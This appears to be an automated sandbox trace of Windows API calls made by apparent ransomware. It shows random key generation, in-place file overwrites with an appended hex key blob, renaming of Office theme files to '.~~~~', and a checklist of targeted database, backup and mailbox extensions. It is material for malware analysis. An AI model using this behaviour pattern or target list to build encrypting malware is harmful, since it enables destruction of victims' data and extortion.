	[0123.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f870
	[0123.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f870 | out: hHeap=0x300000) returned 1
	[0123.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6958
	[0123.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0123.487] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.487] GetLastError () returned 0x0
	[0123.487] GetLastError () returned 0x0
	[0123.488] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.488] GetLastError () returned 0x0
	[0123.488] GetLastError () returned 0x0
	[0123.490] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1f1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.490] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe0f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe0f, lpOverlapped=0x0) returned 1
	[0123.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.492] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.492] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.493] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.493] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.493] CloseHandle (hObject=0x11c) returned 1
	[0123.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0123.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.~~~~")) returned 1
	[0123.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0123.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.495] GetLastError () returned 0x0
	[0123.496] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.497] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.497] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24348754061) returned 1
	[0123.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3138910, dwHighDateTime=0x1d60e1e)) 
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f8a8
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f8a8 | out: hHeap=0x300000) returned 1
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6958
	[0123.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0123.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.498] GetLastError () returned 0x0
	[0123.499] GetLastError () returned 0x0
	[0123.499] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.499] GetLastError () returned 0x0
	[0123.499] GetLastError () returned 0x0
	[0123.513] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff181, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.513] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe7f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe7f, lpOverlapped=0x0) returned 1
	[0123.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.515] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.515] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.515] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.515] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.516] CloseHandle (hObject=0x11c) returned 1
	[0123.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0123.531] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.~~~~")) returned 1
	[0123.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0123.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.555] GetLastError () returned 0x0
	[0123.559] lstrlenW (lpString=".sqb") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".sqb") returned 0x0
	[0123.559] lstrlenW (lpString=".ost") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".ost") returned 0x0
	[0123.559] lstrlenW (lpString=".txt") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".txt") returned 0x0
	[0123.559] lstrlenW (lpString=".mdt") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".mdt") returned 0x0
	[0123.559] lstrlenW (lpString=".BDB") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".BDB") returned 0x0
	[0123.559] lstrlenW (lpString=".eql") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".eql") returned 0x0
	[0123.559] lstrlenW (lpString=".DBF") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DBF") returned 0x0
	[0123.559] lstrlenW (lpString=".EQL") returned 4
	[0123.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".EQL") returned 0x0
	[0123.560] lstrlenW (lpString=".FDB") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".FDB") returned 0x0
	[0123.560] lstrlenW (lpString=".EDB") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".EDB") returned 0x0
	[0123.560] lstrlenW (lpString=".DACPAC") returned 7
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DACPAC") returned 0x0
	[0123.560] lstrlenW (lpString=".VHD") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".VHD") returned 0x0
	[0123.560] lstrlenW (lpString=".DBV") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DBV") returned 0x0
	[0123.560] lstrlenW (lpString=".dacpac") returned 7
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dacpac") returned 0x0
	[0123.560] lstrlenW (lpString=".sdf") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".sdf") returned 0x0
	[0123.560] lstrlenW (lpString=".accdb") returned 6
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".accdb") returned 0x0
	[0123.560] lstrlenW (lpString=".DBX") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DBX") returned 0x0
	[0123.560] lstrlenW (lpString=".MDT") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".MDT") returned 0x0
	[0123.560] lstrlenW (lpString=".SQB") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".SQB") returned 0x0
	[0123.560] lstrlenW (lpString=".vhd") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".vhd") returned 0x0
	[0123.560] lstrlenW (lpString=".bac") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".bac") returned 0x0
	[0123.560] lstrlenW (lpString=".mdf") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".mdf") returned 0x0
	[0123.560] lstrlenW (lpString=".BAK") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".BAK") returned 0x0
	[0123.560] lstrlenW (lpString=".BAC") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".BAC") returned 0x0
	[0123.560] lstrlenW (lpString=".dbs") returned 4
	[0123.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dbs") returned 0x0
	[0123.560] lstrlenW (lpString=".vhdx") returned 5
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".vhdx") returned 0x0
	[0123.561] lstrlenW (lpString=".NDF") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".NDF") returned 0x0
	[0123.561] lstrlenW (lpString=".dat") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dat") returned 0x0
	[0123.561] lstrlenW (lpString=".DBS") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DBS") returned 0x0
	[0123.561] lstrlenW (lpString=".CKP") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".CKP") returned 0x0
	[0123.561] lstrlenW (lpString=".edb") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".edb") returned 0x0
	[0123.561] lstrlenW (lpString=".PST") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".PST") returned 0x0
	[0123.561] lstrlenW (lpString=".dbf") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dbf") returned 0x0
	[0123.561] lstrlenW (lpString=".SQL") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".SQL") returned 0x0
	[0123.561] lstrlenW (lpString=".pst") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".pst") returned 0x0
	[0123.561] lstrlenW (lpString=".dbv") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dbv") returned 0x0
	[0123.561] lstrlenW (lpString=".SDF") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".SDF") returned 0x0
	[0123.561] lstrlenW (lpString=".dtxs") returned 5
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dtxs") returned 0x0
	[0123.561] lstrlenW (lpString=".db3") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".db3") returned 0x0
	[0123.561] lstrlenW (lpString=".OST") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".OST") returned 0x0
	[0123.561] lstrlenW (lpString=".dbx") returned 4
	[0123.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dbx") returned 0x0
	[0123.562] lstrlenW (lpString=".DB3") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DB3") returned 0x0
	[0123.562] lstrlenW (lpString=".DAT") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DAT") returned 0x0
	[0123.562] lstrlenW (lpString=".VHDX") returned 5
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".VHDX") returned 0x0
	[0123.562] lstrlenW (lpString=".ndf") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".ndf") returned 0x0
	[0123.562] lstrlenW (lpString=".DB") returned 3
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DB") returned 0x0
	[0123.562] lstrlenW (lpString=".sql") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".sql") returned 0x0
	[0123.562] lstrlenW (lpString=".MYD") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".MYD") returned 0x0
	[0123.562] lstrlenW (lpString=".DBT") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DBT") returned 0x0
	[0123.562] lstrlenW (lpString=".ACCDB") returned 6
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".ACCDB") returned 0x0
	[0123.562] lstrlenW (lpString=".fdb") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".fdb") returned 0x0
	[0123.562] lstrlenW (lpString=".bak") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".bak") returned 0x0
	[0123.562] lstrlenW (lpString=".myd") returned 4
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".myd") returned 0x0
	[0123.562] lstrlenW (lpString=".DTXS") returned 5
	[0123.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".DTXS") returned 0x0
	[0123.562] lstrlenW (lpString=".ckp") returned 4
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".ckp") returned 0x0
	[0123.563] lstrlenW (lpString=".dbt") returned 4
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".dbt") returned 0x0
	[0123.563] lstrlenW (lpString=".db") returned 3
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".db") returned 0x0
	[0123.563] lstrlenW (lpString=".TXT") returned 4
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".TXT") returned 0x0
	[0123.563] lstrlenW (lpString=".MDF") returned 4
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".MDF") returned 0x0
	[0123.563] lstrlenW (lpString=".bdb") returned 4
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".bdb") returned 0x0
	[0123.563] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0123.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0123.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0123.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0123.563] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.565] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.565] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.566] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24355582594) returned 1
	[0123.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb31f6ff0, dwHighDateTime=0x1d60e1e)) 
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a38ef8
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a38ef8 | out: hHeap=0x300000) returned 1
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0123.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.567] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.567] GetLastError () returned 0x0
	[0123.567] GetLastError () returned 0x0
	[0123.567] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.567] GetLastError () returned 0x0
	[0123.567] GetLastError () returned 0x0
	[0123.587] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1e7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.588] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe19, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe19, lpOverlapped=0x0) returned 1
	[0123.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.589] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.589] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
